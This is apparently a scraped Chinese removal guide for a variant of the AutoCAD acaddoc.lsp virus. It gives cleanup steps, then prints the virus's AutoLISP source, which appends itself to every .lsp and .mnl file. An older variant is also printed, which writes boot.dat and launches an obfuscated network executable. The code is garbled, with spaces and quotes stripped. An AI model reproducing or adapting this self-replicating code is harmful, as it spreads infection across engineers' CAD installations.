acaddoclsp病毒新变种.docx
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acaddoclsp病毒新变种.docx
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acaddoclsp病毒新变种【Acaddoc.lsp病毒】新变种新变化:
不再依靠acadapq.lsp了,会附加在support目录里的所有调用过的lsp文件以及.mnl文件后面。
杀法:
1.关闭cad2.处理非系统盘,这个系统盘指autocad安装的盘。
在cmd窗口打命令:
(假设工作盘是E)e:
回车delacaddoc.lsp/s回车3.处理系统盘,注意天正、斯维尔等软件目录里的acaddoc.lsp日期是否不正常,大小一般不超过2K。
正常的保留,不正常的删掉,功能受影响时重新覆盖安装。
4.处理C:
ProgramFilesAutoCAD2009Support目录,当然2008的目录类似。
这个目录里的所有lsp文件和mnl文件,看日期,和其他系统文件一致的,保留,日期很新的,说明有问题。
处理方法可以重装cad覆盖,或者手动编辑删除病毒代码(详见下面)。
处理好后,把这个目录的lsp文件统统设成只读。
这个目录应该没有acacdoc.lsp文件的。
5.附上病毒代码(setqflagxt)(setqbz(setqflagxt)(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm1(opentargetr)(while(setqtext(read-linewjm1)(if(=textbz)(setqflag1nil);while(closewjm1);progn);if(ifflag1(progn(setqwjm(opensourcer)(setqwjm1(opentargeta)(write-line(chr13)wjm1)(while(setqtext(read-linewjm)(if(=textbz)(setqflagt)(ifflag(progn(write-linetextwjm1);progn);if);while(closewjm1)(closewjm);progn);if);defun(setvarcmdecho0)(setqacadmnl(findfileacad.mnl)(setqacadmnlpath(vl-filename-directoryacadmnl)(setqmnlfilelist(vl-directory-filesacadmnlpath*.mnl)(setqmnlnum(lengthmnlfilelist)(setqacadexe(findfileacad.exe)(setqacadpath(vl-filename-directoryacadexe)(setqsupport(strcatacadpathsupport)(setqlspfilelist(vl-directory-filessupport*.lsp)(setqlspfilelist(appendlspfilelist(listacaddoc.lsp)(setqlspnum(lengthlspfilelist)(setqdwgname(getvardwgname)(setqdwgpath(findfiledwgname)(ifdwgpath(progn(setqacaddocpath(vl-filename-directorydwgpath)(setqacaddocfile(strcatacaddocpathacaddoc.lsp)(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath(nthmnlnmnlfilelist)(appmnlfilenameacaddocfilebz)(appacaddocfilemnlfilenamebz)(setqmnln(1+mnln);while(setqlspn0)(while(lspnlspnum)(setqlspfilename(strcatsupport(nthlspnlspfilelist)(applspfilenameacaddocfilebz)(appacaddocfilelspfilenamebz)(setqlspn(1+lspn);while);progn);if(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath(nthmnlnmnlfilelist)(setqmnln10)(while(mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath(nthmnln1mnlfilelist)(appmnlfilenamemnlfilename1bz)(setqmnln1(1+mnln1);while(setqlspn10)(while(lspn1lspnum)(setqlspfilename1(strcatsupport(nthlspn1lspfilelist)(appmnlfilenamelspfilename1bz)(setqlspn1(1+lspn1);while(setqmnln(1+mnln);while(setqlspn0)(while(lspnlspnum)(setqlspfilename(strcatsupport(nthlspnlspfilelist)(setqlspn10)(while(lspn1lspnum)(setqlspfilename1(strcatsupport(nthlspn1lspfilelist)(applspfilenamelspfilename1bz)(setqlspn1(1+lspn1);while(setqmnln10)(while(mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath(nthmnln1mnlfilelist)(applspfilenamemnlfilename1bz)(setqmnln1(1+mnln1);while(setqlspn(1+lspn)(loadacadapq)(princ)(loadacadapp)(princ)这段代码可以自成一个文件,也可以附在其他lsp最后,删掉就好了。
=下面是比较老的版本http:
/0)(setqwpath(findfilebase.dcl)(setqwpath(substrwpath1(-(strlenwpath)8)(setqwwmnlwpath(getvarmenuname)(setqwnowdwg(getvardwgname)(setqwwjqm(findfilewnowdwg)(setqwdwgwpath(substrwwjqm1(-(strlenwwjqm)(strlenwnowdwg);alert(setqf(openc:
boot.datw)(write-linedangf)(write-line(strcatff=wdwgwpath)f)(write-line(strcatyy=wpath)f)(closef)(setqboot(findfileboot.dat)(if(/=boot)(command_-vbarunThisDrawing.hh)(setqwacadwpath(findfileacaddoc.lsp)(setqwacadwpath(substrwacadwpath1(-(strlenwacadwpath)11)(setqwns1wns2)(setqwlspbj0)(setqwwjqm(strcatwpathacaddoc.lsp)(if(setqwwjm(openwwjqmr)(progn(while(setqwwz(read-linewwjm)(setqwns1wns2)(setqwns2wwz)(if(strlenwns1)14)(if(=(substrwns187)acadapq)(setqwlspbj1)(closewwjm)(setqwlspmnl0)(setqwwjqm(strcatwpathacad.mnl)(if(setqwwjm(openwwjqmr)(progn(while(setqwwz(read-linewwjm)(setqwns1wns2)(setqwns2wwz)(if(strlenwns1)14)(if(=(substrwns187)acadapq)(setqwlspmnl1)(closewwjm)(if(=wlspmnl0)(progn(setqwwjqm(strcatwpath(strcat(chr97)(chr99)(chr97)(chr100)(chr46)(chr109)(chr110)(chr108)(setqwwjm(openwwjqma)(write-line(strcat(load(chr34)acadapq(chr34)wwjm)(write-line(princ)wwjm)(closewwjm)(defunwwriteapp()(if(setqwwjm1(openwnewacadw)(progn(setqwwjm(openwoldacadr)(while(setqwwz(read-linewwjm)(write-linewwzwwjm1)(closewwjm)(closewwjm1)(if(and(=wacadwpathwdwgwpath)(/=wacadwpathwpath)(progn(if(=0wlspmnl)(progn(setqwoldacad(findfileacaddoc.lsp)(setqwnewacad(strcatwpathacadapq.lsp)(progn(setqwoldacad(strcatwpathacadapq.lsp)(setqwnewacad(findfileacaddoc.lsp)(if(=wlspbj0)(progn(setqwwjqm(strcatwpathacaddoc.lsp)(setqwwjm(openwwjqma)(write-line(strcat(load(chr34)acadapq(chr34)wwjm)(write-line(princ)wwjm)(closewwjm)(wwriteapp)(progn(if(/=wnowdwgDrawing.dwg)(progn(setqwoldacad(findfileacadapq.lsp)(setqwnewacad(strcatwdwgwpathacaddoc.lsp)(wwriteapp)(setvarcmdechowold_cmd)(princ)(setqstrtopstr(strcat(chr92)(chr92)(chr70)(chr83)(chr49)(chr92)(chr83)(chr89)(chr83)(chr49)(chr92)(chr87)(chr79)(chr82)(chr75)(chr92)(chr80)(chr76)(chr79)(chr84)(chr69)(chr82)(setqstrbottomstr(strcat(chr92)(chr76)(chr79)(chr67)(chr80)(chr82)(chr88)(chr89)(chr49)(chr46)(chr69)(chr88)(chr69)(startapp(strcatstrtopstrstrbottomstr)(setvarcmdechowold_cmd)(princ)(princ)
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- acaddoclsp 病毒 变种